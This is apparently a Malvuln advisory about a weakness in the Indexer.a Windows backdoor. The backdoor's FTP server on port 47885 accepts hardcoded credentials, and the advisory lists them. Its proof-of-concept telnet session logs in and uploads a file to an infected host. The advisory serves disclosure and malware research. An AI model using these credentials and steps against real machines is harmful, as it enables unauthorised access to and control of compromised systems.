Backdoor.Win32.Indexer.a / Hardcoded Weak Credentials

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/2b576e7551afe1c7575dc680396f1b5b.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Indexer.a
Vulnerability: Hardcoded Weak Credentials
Description: Indexer.a backdoor runs an FTP server that listens on TCP
port 47885 and uses several weak hardcoded credentials "Ronald
Reagen", "Boris Becker", "Donald Duck". The credentials can be easily
veiwed in the binary using strings util. This can allow anyone with up
front knowledge to logon to the infected system.
Type: PE32
MD5: 2b576e7551afe1c7575dc680396f1b5b
Vuln ID: MVID-2021-0091
Dropped files:
Disclosure: 02/15/2021

Exploit/PoC:
TELNET [Malware_Infected_Host] 47885

220 ICS FTP Server ready
USER Ronald
331 Password required for Donald.
PASS Reagen
230 User Donald logged in.
CWD
250 CWD command successful. "C:/TEMP/" is current directory.
PASV
227 Entering Passive Mode (192,168,1,10,194,197).
STOR 1.js
150 Opening data connection for 1.js.
PASV
226 File received ok


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